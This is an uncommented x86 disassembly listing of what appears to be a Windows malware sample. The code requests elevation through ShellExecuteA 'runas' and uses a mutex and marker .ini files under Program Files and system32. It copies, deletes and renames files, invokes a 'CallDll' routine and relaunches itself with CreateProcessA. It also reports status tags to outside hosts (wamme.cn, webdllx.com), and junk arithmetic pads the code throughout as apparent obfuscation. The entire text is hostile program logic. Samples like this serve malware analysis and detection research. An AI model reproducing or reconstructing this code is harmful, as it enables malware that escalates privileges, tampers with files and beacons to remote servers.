lea eax, [ebp - 0x214]
add ecx, edi
push str.C:Program_Files_s
push eax
mov dword [0x45dbe4], ecx
call fcn.004305b1
add esp, 0xc
push 1
lea ecx, [ebp - 0x214]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4043d9
mov ecx, dword [0x45dbc8]
mov eax, dword [0x45dbe0]
lea esi, [ecx + eax]
mov ecx, dword [0x45dbd0]
imul esi, esi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
push 0
mov esi, edx
add edi, edx
push 0
push 0
mov eax, 0xe070381d
imul ecx
push 0
push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
add edx, ecx
push 0x45dbbc
sar edx, 7
push 0
shr esi, 0x1f
mov ecx, edx
push 0
add esi, edi
add esi, edx
mov edx, dword [ebp - 0xfc4]
push 1
shr ecx, 0x1f
add edx, 0x74
add ecx, esi
push 0x68
push edx
mov dword [0x45dbc8], ecx
call fcn.00442d22
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
jmp 0x40363e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
jmp 0x40363e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45dbc8]
mov eax, dword [0x45dbe0]
lea esi, [ecx + eax]
mov ecx, dword [0x45dbd0]
imul esi, esi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
shr esi, 0x1f
sar edx, 7
add esi, ebx
mov ecx, edx
add esi, edx
lea edx, [ebp - 0xfa4]
shr ecx, 0x1f
push edx
add ecx, esi
push 0x101
mov dword [0x45dbc8], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4036d1
push 0
call fcn.00430b1a
push 0x3e8
call edi
push 0x413c
lea eax, [ebp - 0x314]
push 0x44db00
push eax
call fcn.004305b1
add esp, 0xc
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x5604c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4037b8
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbe4]
lea edi, [eax + edx]
mov eax, 0x4a4dc96f
imul edi, edi, 0x15b
imul ecx
sar edx, 8
mov ecx, edx
mov esi, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45dbd8]
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul edx, edx, 0x323
add edi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xad602b59
imul esi
mov eax, dword [0x45dbb8]
add edx, esi
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
cmp eax, 0xffffffff
mov dword [0x45dbe4], ecx
je 0x4037b1
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00430b1a
mov esi, dword [0x45dbe0]
mov edx, dword [0x45dbe8]
imul esi, esi, 0x365
mov ecx, dword [0x45dbd4]
imul edx, edx, 0x338
sub esi, edx
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
add esi, edx
mov ebx, edx
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, 0x5e6ea9af
imul ecx
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x92
sar edx, 7
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
add eax, ecx
sub eax, edx
add eax, 0x2f4
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbcc], eax
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
jne 0x40386a
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x40386a
push 0xea60
call edi
mov esi, dword [0x45dbd0]
mov ecx, dword [0x45dbd8]
mov eax, 0xad602b59
imul esi
add edx, esi
mov ebx, ecx
sar edx, 9
imul ebx, ebx, 0x372
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
sub ebx, eax
mov eax, 0x4a4dc96f
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub ebx, eax
imul edx, edx, 0x338
mov eax, dword [0x45dbc8]
imul eax, eax, 0x221
add ebx, edx
add ebx, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov edx, dword [0x45dbe4]
add ecx, ebx
sub ecx, edx
sub ecx, 0x92
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbd0], ecx
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x404369
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x404369
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov edi, dword [0x45dbc8]
mov eax, 0xa33a575b
imul edi, edi, 0x323
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x96d4b1f
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x13e22cbd
imul esi
sar edx, 6
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45dbe0]
mov eax, 0x5e6ea9af
imul edi
imul edi, edi, 0x15b
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov edx, esi
imul esi, esi, 0x338
imul edx, edx, 0x92
sub eax, edx
sub eax, ecx
mov dword [0x45dbd8], eax
mov edi, dword [0x45dbcc]
mov eax, 0x4a4dc96f
imul dword [0x45dbd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4a4dc96f
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov edx, edi
imul edx, edx, 0x365
add eax, edx
add eax, esi
mov ebx, eax
mov eax, 0xc152500d
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x221
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
sub ebx, eax
push 0x200
lea eax, [ebp - 0xc14]
push eax
add ebx, ecx
add edx, ebx
push 0x44de89
mov dword [str._r_____r____], edx
push str.ConfigL0
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44de89
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403e42
mov esi, dword [0x45dbe0]
mov eax, dword [0x45dbe8]
imul esi, esi, 0x365
mov ecx, dword [0x45dbd4]
imul eax, eax, 0x338
sub esi, eax
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
add esi, edx
mov edi, edx
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov eax, 0x5e6ea9af
imul ecx
sar edx, 7
shr esi, 0x1f
mov ecx, edx
add esi, edi
add esi, edx
mov edx, dword [0x45dbe4]
imul edx, edx, 0x92
shr ecx, 0x1f
add ecx, esi
add ecx, edx
sub ecx, dword [str._r_____r____]
add ecx, 0x2f4
lea eax, [ebp - 0xc14]
push eax
mov dword [0x45dbcc], ecx
lea ecx, [ebp - 0x14d0]
push 0x12c
push ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403e42
mov esi, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x323
mov eax, esi
imul edi, edi, 0x221
imul eax, eax, 0x365
add edi, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
add edi, edx
mov ebx, edx
mov eax, 0x5e6ea9af
imul esi
shr ebx, 0x1f
sar edx, 7
add ebx, edi
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbe0]
sub ebx, ecx
mov ecx, dword [ebp - 0x14d0]
lea eax, [ebx + edx - 0x92]
mov dword [0x45dbd4], eax
mov eax, ecx
lea esi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403b70
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
mov edx, dword [ebp - 0x14c4]
push edx
lea eax, [ebp - 0x614]
push ecx
jne 0x403b95
push str._s_s
jmp 0x403b9a
push 0x44dd04
push eax
call fcn.004305b1
mov ecx, dword [0x45dbcc]
mov esi, dword [0x45dbe4]
mov edx, dword [0x45dbd0]
lea edi, [edx + ecx]
mov eax, 0x4a4dc96f
imul edi, edi, 0x2a6
imul esi
sar edx, 8
mov ebx, edx
add edi, edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov esi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 9
imul ecx, ecx, 0x175
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
shr esi, 0x1f
imul edx, edx, 0x92
add esi, ebx
sub esi, eax
add esp, 0x10
lea eax, [ebp - 0x614]
push eax
add esi, ecx
lea ecx, [ebp - 0x414]
add esi, edx
push str._s.bak
push ecx
mov dword [0x45dbdc], esi
call fcn.004305b1
add esp, 0xc
push 0
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x614]
push ecx
call edi
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbe4]
lea ebx, [eax + edx]
mov eax, 0x4a4dc96f
imul ebx, ebx, 0x15b
imul ecx
sar edx, 8
mov ecx, edx
mov esi, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45dbd8]
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x323
sub ebx, eax
add ebx, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xad602b59
imul esi
add edx, esi
sar edx, 9
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
lea edx, [ebp - 0x614]
add ecx, ebx
push 0
push edx
mov dword [0x45dbe4], ecx
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x403d85
mov ecx, dword [0x45dbc8]
mov eax, dword [0x45dbe0]
lea esi, [ecx + eax]
mov ecx, dword [0x45dbd0]
imul esi, esi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
shr esi, 0x1f
mov ecx, edx
add esi, ebx
add esi, edx
shr ecx, 0x1f
lea edx, [ebp - 0x414]
add ecx, esi
push edx
mov dword [0x45dbc8], ecx
call edi
push 0
call fcn.00430b1a
mov esi, dword [0x45dbd0]
mov ecx, dword [0x45dbd8]
mov eax, 0xad602b59
imul esi
add edx, esi
mov edi, ecx
sar edx, 9
imul edi, edi, 0x372
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
sub edi, eax
mov eax, 0x4a4dc96f
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub edi, eax
imul edx, edx, 0x338
mov eax, dword [0x45dbc8]
imul eax, eax, 0x221
mov ebx, dword [0x45dbe4]
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
lea edx, [ebp - 0x614]
sub ecx, ebx
push edx
lea eax, [ebp - 0x414]
sub ecx, 0x92
push eax
mov dword [0x45dbd0], ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
jmp 0x403e30
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403e30
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45dbe8]
mov ecx, dword [0x45dbc8]
mov eax, 0x96d4b1f
imul ecx, ecx, 0x323
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov ebx, dword [0x45dbd4]
mov eax, 0x13e22cbd
imul esi
imul esi, esi, 0x92
sar edx, 6
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0xfa8], eax
mov edi, dword [0x45dbe0]
mov eax, 0xa33a575b
imul ebx
mov eax, dword [ebp - 0xfa8]
add edx, ebx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov dword [ebp - 0xfa8], eax
mov eax, 0x5e6ea9af
imul edi
imul edi, edi, 0x15b
mov eax, dword [ebp - 0xfa8]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
add ecx, edi
sub ecx, esi
lea eax, [ebp - 0x814]
mov dword [0x45dbd8], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403ee5
sub eax, esi
mov dword [ebp - 0xfa8], eax
jne 0x403efd
push 0
call fcn.00430b1a
mov edx, dword [0x45dbc8]
lea edi, [edx + ebx]
mov edx, dword [0x45dbe4]
imul edi, edi, 0x15b
mov eax, 0x4a4dc96f
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [str._r_____r____]
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x323
sub edi, eax
add edi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xad602b59
imul esi
add edx, esi
sar edx, 9
mov ecx, edx
add edi, edx
shr ecx, 0x1f
lea edx, [ebp - 0x814]
add ecx, edi
push 0
push edx
mov dword [0x45dbe4], ecx
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
jne 0x4040f6
mov ecx, dword [0x45dbc8]
mov eax, 0xa33a575b
imul ecx
mov eax, dword [0x45dbd8]
add edx, ecx
imul eax, eax, 0x365
sar edx, 9
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, eax
mov eax, 0x5e6ea9af
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 7
mov edi, edx
add esi, edx
mov eax, 0x57d990d1
imul ecx
mov eax, dword [0x45dbe4]
push 0
imul eax, eax, 0x92
sar edx, 7
push 0
mov ecx, edx
push 0
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbd0]
push 0
imul edx, edx, 0x42
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
push 0x45dbbc
shr edi, 0x1f
push 0
add edi, esi
sub edi, ecx
mov ecx, dword [ebp - 0xfc4]
push 0
push 1
add edi, edx
add ecx, 0x74
sub edi, eax
push 0x68
push ecx
mov dword [0x45dbe8], edi
call fcn.00442d22
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
mov esi, dword [0x45dbd4]
mov ecx, dword [0x45dbcc]
mov eax, 0x4a4dc96f
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4a4dc96f
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x365
sub eax, ebx
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x338
add eax, edx
mov ebx, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov esi, edx
shr esi, 0x1f
add ebx, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
mov ecx, dword [0x45dbdc]
sar edx, 9
imul ecx, ecx, 0x221
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [str._r_____r____], esi
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
je 0x4040ef
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043094d
add esp, 8
cmp eax, 0xffffffff
jne 0x4040fc
push 0
call fcn.00430b1a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404108
mov esi, dword [0x45dbe0]
mov edx, dword [0x45dbe8]
imul esi, esi, 0x365
mov ecx, dword [0x45dbd4]
imul edx, edx, 0x338
sub esi, edx
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
add esi, edx
mov ebx, edx
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, 0x5e6ea9af
imul ecx
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x92
shr esi, 0x1f
sar edx, 7
add esi, ebx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [str._r_____r____]
add eax, ecx
sub eax, esi
add eax, 0x2f4
push 0x132db2c
mov dword [0x45dbcc], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call edi
mov ecx, dword [0x45dbe8]
mov esi, dword [0x45dbc8]
mov eax, 0x96d4b1f
imul esi, esi, 0x323
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x13e22cbd
imul ecx
imul ecx, ecx, 0x92
sar edx, 6
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbd4]
mov eax, 0xa33a575b
imul esi
add edx, esi
mov esi, dword [0x45dbe0]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x5e6ea9af
imul esi
imul esi, esi, 0x15b
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
sub eax, ecx
mov dword [0x45dbd8], eax
mov ecx, dword [ebp - 0xfc4]
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45dbbc
push 0
push 0
push 1
add ecx, 0x74
push 0x68
push ecx
call fcn.00442d22
add esp, 0x2c
push 0x2710
call edi
mov edi, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea esi, [edx + ecx]
imul ecx, ecx, 0x323
imul esi, esi, 0x221
mov eax, edi
imul eax, eax, 0x365
add esi, eax
mov eax, 0xa33a575b
imul edi
add edx, edi
sar edx, 9
add esi, edx
mov ebx, edx
mov eax, 0x5e6ea9af
imul edi
shr ebx, 0x1f
sar edx, 7
add ebx, esi
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbe0]
sub ebx, ecx
lea eax, [ebx + edx - 0x92]
mov dword [0x45dbd4], eax
mov dword [ebp - 0xfac], 0
mov edi, edi
mov ecx, dword [0x45dbcc]
imul edi, edi, 0x92
mov esi, dword [0x45dbe4]
mov edx, dword [0x45dbd0]
lea ebx, [edx + ecx]
mov eax, 0x4a4dc96f
imul ebx, ebx, 0x2a6
imul esi
sar edx, 8
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov esi, edx
add ebx, edx
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 9
imul ecx, ecx, 0x175
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
add esi, edi
push 0x2710
mov dword [0x45dbdc], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfac]
mov edi, dword [0x45dbdc]
inc eax
mov dword [ebp - 0xfac], eax
jmp 0x4042d0
mov esi, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x323
imul ebx, ebx, 0x221
mov eax, esi
imul eax, eax, 0x365
add ebx, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x5e6ea9af
imul esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbe0]
sub ebx, ecx
lea eax, [ebx + edx - 0x92]
push 0x493e0
mov dword [0x45dbd4], eax
call edi
push 0
call fcn.00430b1a
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1010]
rep stosd dword es:[edi], eax
push 0x200
lea ecx, [ebp - 0xa14]
push ecx
push eax
mov dword [ebp - 0x1010], 0x44
mov dword [ebp - 0xfe4], 1
mov word [ebp - 0xfe0], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x1020]
push edx
lea eax, [ebp - 0x1010]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0xa14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x4043d9
ret